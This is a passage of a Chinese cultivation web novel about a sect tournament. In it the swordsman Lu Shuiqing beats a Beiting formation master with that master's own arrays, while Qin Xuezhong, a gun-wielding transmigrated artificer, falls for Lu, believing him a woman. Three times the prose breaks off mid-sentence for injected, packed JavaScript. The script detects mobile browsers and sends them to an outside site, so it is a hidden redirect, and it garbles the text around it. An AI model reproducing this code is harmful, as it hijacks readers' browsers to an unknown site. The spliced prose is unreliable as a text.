登仙台使用了万法乾坤阵,外看平平无奇,实则进入之后观看席位如高楼直耸入天,中间十方擂台正在规律地转动。 北位为尊,乃各方势力之首。 随后按势力实力强盛由西到东,南位则是各大报名比试弟子所坐,正好可以让北座的前辈们更好地观评这些新秀。 路水清带着弟子安排他们各自落座后,找到自己的位置。 剑宗比试弟子位居第二,第一正是北庭家。在路水清进来时,在场除了剑宗的人无不望来。 北坐之上,北庭现家主看见路水清时,眼瞳微顿,继而晃神,好似陷入某种回忆中,直到听见旁边的人说话才回过神。 “剑尘,这就是你那位大弟子?可算又舍得让你这宝贝徒弟露面了。” “小徒幼时曾在秘境中遇险,死里逃生已是不易,虚阳秘境乃新出秘境,他实在想去只得允了他。” “你这家伙,这般心疼你徒弟。若没记错,名为路水清?” “盛老倒是记得清楚。” “水清水清,至柔至净、不染尘埃,不仅名字好,相貌更是出尘、身蕴冰壶秋月之质,我那丑孙简直比不得比不得!” “盛老自谦,水清性子太冷,连师父尚不亲近。” 北庭家主道:“水清似是十长老从大战里带回来的?” “十师弟自凡尘境退离时途经清平镇,发现这奄奄一息的孩童便带了回来,随他姓路取名为水清。” …… 除了尊位上的前辈讨论路水清,其他弟子都忍不住嘀咕两句。 先不提路水清前几个月十八晋升金丹的事情如何震惊修真界,单这相貌走哪儿不被人多看几眼? 修仙之人相貌很难有丑陋的,但惊艳的也生得少,虽然路水清气质过于冷,可坐在大多已过而立的金丹修士中,眉眼间的少年意气怎么都藏不住。 离剑宗位置不远,坐在筑基修士中的北庭岚柔和笑容不变,心里早把路水清千刀万剐了无数次,贱人命大!归一宗的人全是废物,这么多人围剿一个金丹期的路水清,居然还让人逃了,不中用的东西! “路水清?小岚,这就是伤你的那个师兄?” 原本坐在金丹席位的北庭玉来到北庭岚身边,北庭家对这些繁文缛节向来不在乎,长老们只当没看见。 北庭岚适时垂头,揉着自己痊愈的小指。 “师兄与归一宗的人一直有过节,想来只是误以为我被他们挟持,出手想救我,却不小心伤了我。” 北庭玉气不打一处来:“你还帮着他说话?!归一宗的人敢对你下手?路水清分明有意这样做,这剑风自上而下,就是冲着要你命去的!” 他越想越气,小岚两位爹全是顶天立地的大英雄,纵然两位前辈不在,但小岚在家里谁不是宠着捧着,生怕他受一点委屈,怎么到了剑宗三天两头受欺负? “远叔不是最心疼你吗?怎么照顾你的?任路水清骑你头上?” “远叔只是大长老,不是师父更不是宗主,哪能事事顾及我?再说了,本是师兄弟间的一些小事,闹大了反倒说我们北庭家仗势欺负一个没爹没娘的孤儿。” 北庭玉心疼揉着自己弟弟的脑袋:“你倒是大度,任由别人骑你头上,既然家中不方便出手,十哥定为你出这口恶气!” “谢谢十哥。” 离巳时尚有一个时辰。 大多数宗门早已落座,闭目凝息的路水清听见人群发出惊叹。 “十七岁的金丹天才就是他呀!” “比剑宗那位还要强,离满十八许些日子晋升金丹呢。” “器修有什么用?穿云宗哪来器修传承。” …… 他看向登仙台入口处,只见进来的,数量少到可怜的穿云宗弟子们队伍整齐规整,个个身形挺拔,纵然落魄但全宗气势丝毫不减。 就在人群中,路水清一眼看见第四行第三列身着玄色弟子服的人。即便拍卖场内以面具遮住了半张脸,但身形轮廓一眼就能认出。 还有他前面的那个人,正是拍卖场里那位三师兄。 “这人叫什么?” “秦雪重,听说是个器修,没人见过他炼制的法器不知到底几级。”不知道哪个宗的弟子压低声音:“出自剑修宗门的器修成不了什么气候,空有名头罢了。” 路水清正想收回视线,发现秦雪重前面,有些眼熟的弟子激动地瞅着这边,似是虚阳秘境内遇见过的。 ? 这个方向。 路水清左右前后看了下,在他犹豫地指了自己后,穿云宗的弟子们显然更兴奋,好像真的是他。不回似乎不太好,于是路水清点头。 ! 穿云宗那些弟子们惊喜地瞪圆了眼,若非宗规束缚,恨不得原地直蹦三尺高。 秦雪重疑惑地偏头,师兄师姐他们到底开心什么? 一个时辰很快过去。 巳时已到。 十方擂台准时升起,仙风道骨的朝仙城城主落在正中心最大的擂台上面,甩袖一挥,半空亮起光芒 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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只见一点朱砂痣大小的碧绿圆珠渐渐浮现。 灵运珠! 路水清听十师叔说过,朝仙城乃风水宝地。世代城主之所以能成为城主,正是因为这不起眼的小小珠子,此珠乃上古聚灵树倾尽全力诞生的一颗珠子。 此珠并无大用,但却通天道,最喜大运之人,朝仙城的每任城主便是灵运珠选出来的。不知是不是此缘故,朝仙城城下灵脉生生不息、从未断绝,甚至一年胜过一年。 而此时,灵运珠对着签筒光芒大绽,连方取出珠子的朝仙城城主都惊得微微张着嘴。 朝仙城城主再次看了下这边等待比试的人:“灵运珠已经连着三届没有动静,没想到这次竟又出了位得天独厚的大气运者。” 嘶! 全场乃至北座上的人都坐不住了,要知道自仙门大比以来,这是第二次听见朝仙城城主说大气运者! 大气运者! 这很难不让人想到两千多年前。 所有人目光在比试区转来转去,恨不得立马找出灵运珠选中的人。 灵运珠无法自动找寻气运者,朝仙城城主将灵运珠投入签筒中,喜好气运的灵运珠会自动找到气运者的木签附身在上面。 放好灵运珠,朝仙城城主隔空随意取出十对练气修士木签,抛在十方擂台上。 众人盯紧木签。 好的,没有。 练气期没被灵运珠选中倒也不奇怪。 念到自己数字的练气修士上去比试。 路水清的是金丹四十三。 在练气修士比试时,路水清想到十师叔同他讲的,一开始大家并不信任灵运珠,毕竟气运虚无缥缈,相信这看不见摸不着的东西,不如多花些时间好好修炼。 直到两千多年有个筑基期散修连着被灵运珠选中五次。 仙门大比的天才太多,气运此消彼长、相互抑制,越到后面气运被克制得越大。先前灵运珠最多选一两轮就没再选人,而那次,灵运珠一直选中那人五次! 有个大家族的少爷不信邪,见散修得到了前一百的奖励,心生邪念派人截杀,结果三十多个金丹,十几个元婴,硬是没杀掉,还给人逃了。 本来少爷没觉得什么,逃了就逃了,毕竟筋骨全部打断,修为尽废,纵他仙人转世都翻不了身。 谁料那人误入魔域吞食了一个魔族,成了半人半魔之躯,悟出了一门前所未有的功法,此后修为一日千里。而且各方秘境,凡他所到之处均有万年难得一遇的天材地宝现世。 没多久就在魔域杀出一片天,后带着大批魔修屠光了少爷所在势力,还搅得仙门正派乌烟瘴气,无数大能出手全败。 结果这个人在晋升时更是因为筑基逃难时,侥幸在崖底捡来的破烂,没想到是众人见都没见过传说中的避雷神木,成功过了天劫飞升去了。 他们说,一般这种大气运者不是生来顺遂,而是犹如明珠蒙尘,只要遇到合适的时机就会瞬间爆发!势如破竹,无法阻拦。 路水清对这事没别的想法,动动脚趾头都知道,杀了少爷全家是因为少爷家里人同意少爷追杀并给出了人手,不然一个屁大小孩哪来这么大本领?关键十师叔说了,修真界恨透了那人,故意夸大了言词,那人并未屠杀全族,只是杀了少爷的那一派系。 至于搅乱仙门正派也能理解,所谓正派,还不是任由别人追杀无辜,只为一己之私试探那灵运珠选中的人到底有没有用。 他相信十师叔的话,但他不信气运。 那人心智若不坚定,再多气运又有何用?况且把气运吹得天花乱坠,那些不受气运眷顾的修士还修炼什么?不如直接放弃。 十师叔说那人被称作大气运者。 这次的人也称作大气运者,不知道到底是谁。 5. 她是路水清 练气期比试结束得很快,赢得比试的人得到一分,五个人名在扬名册上瞬间并列练气期第一。 为了比试不会太枯燥,高修为和低修为穿插着进行。 接下来是化神。 化神乃修真界中的中流砥柱,神通不可小觑,十方擂台合并为一,阵法融合瞬间加强。 朝仙城城主上台抽签。 两根木签落入手中,照旧没有灵运珠的痕迹。 北座上的人心里起起伏伏,说不出来是失落还是庆幸。 化神比试动静果然不一般,虽然这两位是符修和术修,但路水清看得津津有味,没放过一点细节。 两位化神修士足足比了两日。 最后以符修耗尽术修灵力,一符拍飞人结束。 随后是筑基比试,元婴比试。 扬名册上的旧名字被许多个新名字取代,如雨后春笋一个接一个不停地冒出来,只是始终没看见灵运珠。 第一轮金丹第一场。 擂台由二分四,抽四对金丹修士上去比试。 巨大签筒内,属于金丹修士的木签在外力下木签来回跳动,位置一息变换数次,一根不起眼细细瘦瘦的木签被取了出去。 四十三对三百二十一。 一百九十六对四百六十三。 八百九十一对七十八。 四百九十五对五百六十九。 还是没有。 等等。 四十三?! “啊啊啊啊啊!” 众人还没反应过来,穿云宗百来人喊出石破天惊的动静,好似路水清不是剑宗的人,而是他们穿云宗的人。 “剑尘,你这徒弟什么时候和穿云宗的弟子认识?”北座上的宗主们乐于看热闹。 “许是在秘境内结交的朋友,徒弟大了,凡事不喜来找师父了。” 有人听出剑宗宗主语气里的几分失落,打趣道:“哈哈哈哈,你这家伙,怎么还吃味?养徒弟跟养孩子一个样,越大越不懂事。” …… 路水清飞身落在甲字擂台。 人们又赶紧回去仔细瞧了几瞧四十三的木签,对!路水清。 路水清不是?他没有灵运珠的痕迹。 难道是…… 目光悄无声息落到下面,还在啃不知道从哪里摸来个灵果的人身上。 三百二十一号。 对面的人同时飞身落台。 是个剑修。 显然这位剑修听过路水清的名头,神色警惕,灵气密布全身,法剑发出嗡鸣。 只见路水清手落在腰间,抽出腰间软剑。这位剑修疑惑地皱眉盯着软剑,这剑灵光暗淡,剑身粗鄙,普通得再普通不过。这人不是顶顶大宗宗主的亲传大弟子吗?法剑这么寒酸? 下一息。 快到如风的剑带着与路水清相貌截然不同的刚猛剑法,以毁天灭地之势直劈而下,手臂震得发麻。 三百二十一号堪堪逼退至擂台边缘。 他心中猛然升起敬畏,果然剑修必须吃得苦中苦,他要像路水清学习!天才能成为天才不是没有道理的。 幸好他没听路水清是假天才的流言,若没防御怕是直接出局,还没等他再振作起来,已经被路水清两招拍下擂台。 三百二十一号:…… “厉害!好厉害!”寂静中,陡然再次爆发出来自穿云宗的尖叫。 “还吃?!” 在吵闹中,挨着秦雪重坐的三师兄没好气夺过啃了一半的灵果,自己嚼巴嚼巴两口吞掉:“你不看路水清你看我?” 秦雪重:…… “红丹果,一枚一百灵石。” “噗!” 还没咽下去的果肉差点连核一块喷出来,难怪果核都这么好吃,一百灵石! “你财神爷啊!什么时候买的?你进来的时候灵石不全部押你自个儿了吗?” 秦雪重懒得理他:“师兄师姐喊什么?” “他们高兴呢!” “我还没上台,高兴什么?” “他们喊路水清,关你什么事?” 秦雪重看向擂台:“谁是路水清?” 在秦雪重嫌弃的目光中,三师兄舔干净手指上的汁水,道:“赢了,下去了。” “赢了?” 还剩三个擂台打得难舍难分,金丹期的剑修这么不禁打? “过了几招。” “两招。”三师兄补充:“三息。” 而且一看就没出全力,不然别说一招,以那个气势一剑就能把人打下去,路水清有意给人留了面子。 “你既然看中了榜首的奖励,必会遇到路水清,他的剑很快,到时候你那些稀奇古怪的玩意不一定用的出来,多了解对手总归没错。”三师兄终于逮到机会:“你胆子真大,路水清啊,你之前还想和路水清抢榜首,庄家都说你不在榜首的预选里面,还非得问一嘴。” 秦雪重对于这种胳膊肘往外拐的人十分鄙夷:“路水清难道就在榜首里面了?一赔二十舍不得押我,一赔十就舍得押路水清?” “押了你的。”三师兄气势弱了几分。 “一共六百灵石,押我一百,押路水清五百?” 三师兄:…… 堵住叽叽喳喳的三师兄,原本不以为意的秦雪重到底认真几分。 这里是修真界,不是古代,他改良出来的现代武器有限,在绝对实力面前有时候确实不太好使。他侧头看向远处,想提前看看自己这个劲敌,奈何他们宗门实力排名太后,中间人头济济,饶是修炼后五官敏锐,目如鹰眼也看不见。 算了。 秦雪重往后一倒,心安理得的睡觉,迟早会遇到,早看晚看一样的。 他还不忘提醒:“有化神剑修比试的时候叫我。” 金丹修士全部比完,再次从练气开始。 投入签筒的灵运珠好似消失了,一直没有动静。 日夜交替,秦雪重连三师兄什么时候比的都不知道,秦雪重被摇醒,“到你了。” 秦雪重伸了个懒腰,脚跟往后轻抵,鞋面灵能助飞器自动打开,助力秦雪重飞上擂台。 说来有点可笑。 从现代过来的秦雪重习惯了各种高科技,即便晋升金丹,但御剑和御气一个不会,根本克服不了心里的障碍,总觉得不安全。 落上擂台。 观战的人目光灼灼全看过来,反正之前他也是走到哪儿被人看到哪儿,秦雪重早习以为常。 “雪重,打赢他!打赢他!” 穿云宗的人一个劲狂喊,秦雪重十分受用,对他们比了个OK。 “哎,你们宗弟子很热情嘛。”旁边的小宗宗主乐呵呵道。 穿云宗宗主跟着乐:“他们高兴就行。” “你这小徒弟相貌真不错。” 穿云宗宗主得意:“下山捡回来的,说来真是奇怪,那几日我还闭关呢,莫名入定做了一梦,说什么徒弟来了。这不,一下山捡回来了个屁大点的小徒弟,这可是我们穿云宗烧高香求来的。” 隔壁宗主才不信,这家伙嘴里没句实话,再说了,一个器修生在剑宗里就算再天才能有什么成就。 他阴阳怪气一句:“看来灵运珠也没选中你这烧高香求来的小徒弟。” 擂台上的秦雪重对面的人是剑修。 剑修。 嗯,有点麻烦。 秦雪重直接掏出他的仿现代重型枪,对着对面一阵狂轰乱炸直接给炸下去了。 …… 除了穿云宗的弟子们疯狂尖叫,四周鸦雀无声,所有人都因为秦雪重怪模怪样的法器脑子乱作一团。 秦雪重握着枪,正要下台,想到三师兄提醒自己最大的对手——路水清,有意看了眼剑宗的区域,恰巧对上双熟悉的清润含笑的眸子。 不看不要紧,一看收不回来了。 是她! 随意系着的黑发垂在腰间,嫣红的唇勾着,如水目光打趣地扫过他的枪,似是发现主人的注视,于是这双眸子再次与他对上。 秦雪重握枪的手一下变得灼热。 散漫的肢体紧绷,秦雪重手脚略显僵硬地走下台,落地时早对助飞器轻车熟路的秦雪重差点摔了个四脚朝天。 “你干什么?喝醉了?”坐在前面的大师兄连忙扶住他。 拍卖场内的惊鸿一瞥和方才神女般的笑容,不停重合、交叠,她笑得好好看。 秦雪重头晕乎乎的,他好像真的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15598994|171984||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 有点醉了。 “你这表情太奇怪了。”接过秦雪重的三师兄抖了抖身上的鸡皮疙瘩。 秦雪重懒得理他。 在现代十八年没谈过恋爱,沉迷各种枪械武器的秦雪重连自己的心动型都没想过,没想到穿越后竟然遇到了! “三师兄,剑宗的那位漂亮姑娘叫什么名字?” 三师兄一脸茫然:“剑宗?漂亮姑娘?哪位?” 他伸长脖子看向剑宗。 女修不比男修少,饶是最苦最累的剑修里面姑娘也不少,而且哪位姑娘不漂亮?他瞅着谁都好看,香香软软,比男修强一百倍。 “剑宗姑娘多着呢,你说谁?” “眉眼冷得很,笑起来又春暖花开。” 三师兄:“?” “头发又黑又长,眼睛像月亮,嘴唇像玫瑰……” 三师兄越听越犯恶心,最后捂住耳朵。 “你喜欢她?” “喜欢。” 喜欢死了! 单身快到成年,结果一成年就遇到心动的人,秦雪重简直觉得这是上天给他的恩赐,送他来修真界,还给他找老婆。 他心狂跳不止,惭愧又激动,他向来不信一见钟情,更讨厌那些因色起意的人,没想到他竟然有一天成为自己最不屑的人。 秦雪重捂住脸,可是,真的好激动! 到底是自己小师弟,一直见他沉迷鼓捣各种法器,还以为他铁石心肠、断情绝爱呢,既然有喜欢的人肯定要帮帮嘛,至于人姑娘愿不愿意,以后再说。 “剑宗的?” “是。” “这不是高攀吗?你想入赘?哎哟!”三师兄被吃了狠狠一肘子:“错了错了,她什么修为?” “金丹。” “哇哦!”三师兄吹了声口哨:“你们迟早遇上。”他用手杵秦雪重:“若你打不过,你不是在姑娘面前丢脸了吗?若你打过了,姑娘生气了怎么办?” “她才不是爱生气的人。” “哟,这才几面啊,心就被勾走了。” 秦雪重满心满眼飞到剑宗去了,喜欢是种很玄妙的事,他见过很多漂亮的女孩子,或妩媚或清纯或高冷,只有这位,饶是在拍卖场隔着面具都能心动。 怎么追女孩子?他只见过她两面,人家估计完全不记得他。 他直接上去问她的名字吗? 会不会太冒昧? 如果这次不问,仙门大比一过,修真界这么大,以后再遇到很难。 秦雪重愁闷地抓头发。 不知不觉,比试再过了一轮。 “四十三,是路水清!快看!路水清!你看啊!” 秦雪重不耐烦拍掉三师兄的手,什么路水清,别打扰他想法子追人。 “你的对手!六师妹他们的大恩人!开始了开始了!” 见旁边的人无动于衷,忍无可忍的三师兄双手捧住秦雪重脑袋,掰着抬头:“还想不想要你的榜首?看清楚!” 秦雪重刚要甩开三师兄的手,擂台持剑而立的身影落入眼中,衣袂翻飞,宛如盛开白莲。 他一下瞪大眼,目不转睛:“是她。” “对!是他!” “居然是她!她就是路水清。” “对呀!你认识路水清?” “我见过她。” 三师兄开始狂吹:“我先前便听得不少人不看好路水清,说他只是因为天赋强侥幸升了金丹,还有人说他定是靠自己师父得了不少丹药,全靠灵物堆砌上去的。但同阶金丹在他手下过不了两招,再看他剑招,这么简单的剑招都能被他练得这么厉害,何止天资,只怕剑法方面的悟性也同样惊人!” “她好厉害!” “当然。” 她是路水清,原来那个大名鼎鼎的天才就是她! 路水清再次两招解决对手,同为金丹,尽管能看清他的动作,但仍旧快到有残影。 秦雪重看得如痴如醉,路水清的一招一式直击他心脏,美到极致又带着凌冽尖锐的英飒! 他从小有颗武侠梦的心,他穿越过来后最喜欢、最想当的就是剑修,奈何他一窍不通,现在自己喜欢的女孩和喜欢的剑修结合在一起,他的心简直几乎爆炸! 6. 他完蛋了 “到你了,快上去。” “我头发乱没乱?马尾松了吗?” “乱什么乱,好看得很!快上去吧你。” 秦雪重以一个十分潇洒地姿势落地,台下三师兄羞耻扶额。 视线偷瞥席上的人,秦雪重看似气定神闲掏出枪,发现路水清好奇地打量他的枪,秦雪重尾巴瞬间狂摇。 一改前面的狂轰乱炸,秦雪重每把枪掏出来打三发,然后立马换下把,成功吸引路水清从头到尾的关注,可惜对面的人太不抗打,才用了两把枪就受伤掉了出去。 秦雪重意犹未尽,悄咪咪又瞅了眼路水清,这才心不甘情不愿的下去。 路姑娘这么厉害,他们肯定会在后面正式遇上。 想到这里,秦雪重血液沸腾,思索他们正式见面的第一句话该说什么。 路水清看着秦雪重飞下擂台,其他三个擂台还在比试,算下来秦雪重也就过了一两招。 他又看了眼北坐上震惊的前辈们,尤其其中几位双眼亮得惊人,秦雪重是在向器宗展示他这些新奇法器吗? 这轮比试结束,扬名册上的排名天差地别,连输两轮淘汰的人三分之一。 只是大家关心的灵运珠一直没有出现。 他们记得朝仙城城主说过的这次前来比试的人中出了位得天独厚的大气运者。 按道理早该出来了呀,怎么所有人连过两轮,还没有现身? 朝仙城城主面不改色:“若两位大气运者遇上,灵运珠一时无法抉择实属正常。” “两位?!” “灵运珠不会有问题,前面对局难度不大,所以只能是有两个大气运者互相抵制,再等一轮,灵运珠子会出现。”朝仙城城主笃定。 大能们:??? 几千年才出一个大气运者,结果这次一来来两个? 第三轮。 金丹第一场,路水清飞身落上擂台,等了两息,他对战的十七号才姗姗来迟。 场下秦雪重见路水清瞬间坐直身子,看得目不转睛。 路水清对对面的人印象还算深,阵修,前两轮的两场所布阵法十分暴力,和他对战的金丹修士全被阵法炸飞出去,不难看出阵法已然精通。 “路水清。”对面的人眯着眼:“可算让我碰上你,你现在最好跳下擂台主动认输,不然待会儿不小心断只手或断只脚就不太好说了。” “这人谁啊,说话这么讨厌?”秦雪重抱臂,十分不满。 三师兄一把捂住他的嘴:“别乱说,这是北庭家的。先不说北庭嫡系高阶阵修就有上百人,一个家族抵得了全修真界高阶阵修的数量。再说他们前家主的牺牲,给凋零的旁系吸纳了无数慕名心甘情愿为北庭家肝脑涂地的能人,如今丹药法器等不仅自给自足,随随便便卖出去的灵石一年数千万亿。” 秦雪重打开三师兄的脏手。 行吧,数千万亿,在现代换成人民币也快要比得上他家的总公司了,的确很厉害。 “北庭家的人?” “算你不蠢。” 路水清并不意外,精通阵法还对他敌意这么大的,只有北庭岚那边的人。 软剑自腰间而出。 秦雪重猛地瞪大眼睛,软剑扫过衣袍,原本认真的秦雪重耳朵刷一下红了。 他的关注点逐渐变歪,眼神不正经地往路水清腰间滑。 流氓! 下流! 秦雪重对自己的无耻行为感到唾弃,怎么可以盯着女孩子腰间看?! 然而下一秒,刚挣脱出来的秦雪重再次被吸引。 水蓝弟子外袍如云如风,纤薄的腰间若隐若现的宫绦晃啊晃,流苏每动一下宛如羽毛拂过心间,酥酥的、痒痒的。 路水清发起进攻,没想到北庭玉的阵奇快,瞬间凝成屏障挡住这一剑。 越强大的阵修,阵法所布越快。 路水清所向披靡的剑难得受到阻碍,迟迟攻不下来,来往间阵法层出不穷,交手数个回合,路水清自始至终没占到半点便宜,还好几次因不熟悉被阵法所伤。 亲传弟子服破烂,猩红的血浸透衣袍,路水清颓势已显。 “成风,你这侄子于阵法上悟性不错,若老夫没记错,明年才至而立已是四级阵修了吧。”阵宗宗主夸道。 北庭现家主,也就是北庭长风摇头:“郑宗主谬赞,小十也就天赋勉强过得去。老五平日里爱惯着,养得这孩子天真蛮横,心地不算坏奈何少了些聪慧。平日里看得严实,若放他出去不出半月,保准叫人拆骨扒皮。” “哈哈哈哈哈,是个有福之人。” 言语间,擂台上路水清再次破了一阵,结果这阵下又藏一阵,直接正面炸开,路水清闪躲不及中了大半。 “咳!”血漫上咽喉,路水清强行咽下去。 “干什么?!坐下!”三师兄用力摁住气到恨不得冲上擂台的秦雪重:“人家在比试。” 秦雪重不情不愿坐回,盯紧嘴唇染得嫣红的路水清。 “我还以为你有多强。”北庭玉掌心灵气幻明幻灭,他冷漠打量着路水清:“你断岚儿手指,我废你一条胳膊。” 阵法再出,路水清身影消失在原地。 本准备一击击杀的北庭玉耐心彻底耗尽,一阵叠一阵覆盖整个擂台,誓要把路水清这只滑手的泥鳅狠狠捏死。 灵气碰撞交叠。 路水清崩裂的剑不知什么时候收了起来,原本胜券在握的北庭玉敏锐察觉不对,眉梢微皱,还没等他一鼓作气击败路水清,突觉浑身灵气凝滞,他猛然侧头,流转阵纹倒映在茫然震惊的瞳孔中。 “缚灵阵,你怎么会缚灵阵?” 这分明是他上擂台就使出来的二品阵法缚灵阵。 话音还没落,缚灵阵方被破,一个崭新的阵法从内生长而出,再次袭击出来。 北庭玉被打得措手不及,根本没时间说话。 阵中阵! 连阵中阵还是他们北庭家独特的手法! 这一刻,饶是上面镇定的北庭家主,脸色也有变化,更别场下的北庭族人弟子们。 “他是阵修吗?” “我们的阵中阵外人从不懂其中门道,路水清怎么学会的?” …… 擂台上北庭玉没时间思考,没等这个阵法破开,又是一个三品阵法破土而出。 “阵中阵中阵?!”阵宗郑宗主惊声:“路水清不是剑修吗?!” 阵法威力猛然增加数倍,没有任何防备的北庭玉不小心吃了阵法伤害,胸腔震动,嘴角溢出血,他和场下所有人的想法都一样,路水清怎么突然变成了阵修?! 看破的北庭家主道:“小十先前以三品阵法藏二品阵法,不过是以三品阵法破时的残余灵气加上残留阵纹催生二品阵法。” “路水清看透其中关窍,他的第二个阵法正是因第一个破阵而生。但他的第三个阵法,却是第一个阵法和第二个阵法同时融合而生,第一个阵法阵纹残留到了第二个阵法,等第二个阵法一破,两次残留的阵法恰好形成一个新阵,这最后一个新阵融合两阵威力不减反增,成了三品阵法。” ! 坐上的人听得一清二楚,不是所有人都是阵修,但他们活了这么多年,哪不知道北庭家主所说之事办到有多难! 不仅考验对阵法的熟悉程度,更重要的是,路水清在这么短的时间内,必须学会北庭家独传的阵中阵,还自己加上了想法,关键他面对着北庭玉这个四级阵修,必须悄无声息完成阵中阵中阵。 剑宗十长老不会北庭家的阵法,所以不可能提前教路水清,路水清只能是刚才在对战中学会的! 这人阵法上的天资到底多恐怖? 北庭家主抑制住许多年没再爆发的情绪,为此场比试落锤定音:“路水清赢了。” 擂台上路水清没再出剑转用阵法,最令人气愤的是,每个阵法全是前面北庭玉用的。 “剑尘,你这徒儿,练剑倒是可惜了,不如来习阵。”阵宗宗主连连惊叹:“剑招东拼西凑,上一轮比试用的两招还是从比试的化神剑修那儿学来的。本想说剑修一途悟性不错,没想到阵法天赋更是惊人。” “岚儿身子、天赋不比水清,大抵本尊也忽略了水清,他赌气自己修行剑法。至于阵法,他只粘着他的十师叔,阵法想来是从他师叔那儿学的,先前只以为玩闹打趣,没曾想竟真有几分天赋。”剑宗宗主十分宽慰。 “小岚在家中惯得性子有些骄纵,宗主见谅。”北庭家主适时道。 “北庭家主说笑,岚儿听话懂事不知多少。” “早些听得贵宗十长老阵法一途造诣非同寻常,今日一见,由他亲自教导出来的弟子果真厉害。”北庭家主半点不担心自己侄子,欣赏布阵的路水清。 “他至少阵修三级,尚未及冠,族中许多弟子幼年习阵法年过半百仍进不了中级阵修。若没记错贵宗十长老早在大战中因先破禁阵,后又强行布大阵护下城内许多修为低微的百姓,最后伤了根基、失了修为。如此还能教出这般弟子,实在难得。” “十师弟不论对宗门还是对修真界,奉献巨大。”剑宗宗主与有荣焉。 北庭家主笑道:“若非十长老直言拒绝,不然纵十长老修为尽失,北庭家也早请回十长老当先生,十长老于阵法一道的造诣着实令许多阵修望尘莫及。” 剑宗宗主没说话,指腹摩梭着椅边。 这上面的人哪个不是活了几千年的人精,当初魔族连同魔修筹备上万年,一朝而发,就是为了杀光仙门正道主宰修真界。冲在最前面的势力死的死伤的伤,剑宗十长老,唯一一位除阵修和北庭家外的九级阵修宗师,偏偏跑在前头,落了个重伤而归,身子变成了漏水的烂桶必须时常以灵药疗养。 北庭家主只差没摊开话说,如果你们剑宗对十长老不好,干脆送我们这里来。 尊者们互相对视了眼,识趣没吭声跟着安安静静瞧比试。 一个个熟悉的阵法打得北庭玉心浮气躁,到底路水清是个上不得台面是个半路出家的野阵修,北庭玉借小阵掩藏之时,成功布出四品顶级阵法——伏虎降龙阵。 就在他以为快成功,即将打入阵眼的灵石被灵气擒住。 在北庭玉不可置信中,路水清捏着灵石:“你的阵眼原来在这里。” “你什么时候发现的?!” 熟悉的阵纹亮起,北庭玉惊然低头,才发现自己不知什么时候踩在和他所布阵法一样的阵法中。 伏虎降龙阵! 这是他们北庭家不外传的阵法! 路水清什么时候学了过去?! 缚灵阵是二品,会了便会了。阵中阵也不过侥幸,毕竟路水清布下的阵法全是低品,可四品顶级阵法,路水清凭什么说会就会?! 从一开始的震惊到现在的绝望,北庭玉踉跄几步,自己幸幸苦苦苦修阵法二十多年,在路水清对比下好像是天大的笑话:“四品阵法……你怎么会……” 路水清没回答北庭玉,尽管北庭家的人做了天大的好事,但不妨碍他讨厌北庭家的人。 灵石钉入阵眼,在北 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15598995|171984||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 庭玉强打精神、聚起灵气想全力一击打碎灵石,路水清以更强的灵气止住他的动作,这时候北庭玉才惊觉,同为金丹若路水清认真比试,只怕他早就落败。 路水清前面的颓势,分明就是为了偷学! 心有不甘的北庭玉下意识还想用法器,然而众目之下,不仅在自己引以为傲的阵法上被一个低级阵修打败,甚至逼到动用法器。 太丢人了! 一息犹豫,灵石嵌入阵眼,阵法启动威力顷刻爆发,巨大的冲击轰飞北庭玉,北庭家的人接住吐血的北庭玉。 看得出来路水清的确阵法三级,跨品级抄来的阵法威力削弱了大半,不然方才北庭玉绝不止吐一口血这么简单。 “她太厉害了吧,不仅是剑修还是阵修!”秦雪重用力鼓掌,穿云宗其他弟子不甘示弱,拍得比谁都起劲。 安静的场内,许多愣住的人听见鼓掌,这才后知后觉地大声欢呼。 北庭岚气得眼内血丝暴涨,只差没和北庭玉一样吐血,怨恨几度淹没了他。 拳头攥紧,指甲刺破掌心,他只知道路水清会阵法,毕竟先前虚阳秘境若非路水清突然展露一手也不会轻易逃脱,但他没想到路水清阵法强到十哥都不是对手。 他环顾四周,所有人,所有人!上面的所有人!包括北庭家主和北庭家长老们全看着路水清! 明明他在筑基没用外物一路连胜,可是根本没人看见他! 从八岁,他到剑宗之后,路水清再也没让他好过。还有该死的十长老,老不死的东西!若非这个死人,路水清一个弃婴早该在大战中死无全尸,也不会来和他争抢! 完了。 这怎么配得上她啊! 高兴之余,秦雪重不由发愁。 三师兄惊讶过后,十分镇定地拍着他肩膀:“两道齐修,换做路水清也不奇怪。” “不行!”秦雪重下定决心:“我必须学会练剑!不管怎么说,御剑总得先会。” 三师兄十分不看好:“你还不如老老实实鼓捣你的法器,你忘了当初你尝试了几百次御剑没一次成功的吗?再说了,你想靠剑取胜路水清,难如登天!你不是剑修你不懂,路水清的剑势如破竹、快如迅雷闪电,眨眼间取人性命;慢又如漫天花海,美中□□、无声无息。” 秦雪重狐疑地盯着自家三师兄,严肃地念出他的大名:“车向远,你对路水清很熟悉吗?怎么一直在夸她?” “我?我还好吧。”车向远看天,同为剑修的他才不会承认自己吹捧另一个比他小这么多的剑修:“我只是听不惯这么多人诋毁他,他们越觉得路水清名不副实,我偏要信路水清。” 秦雪重狐疑。 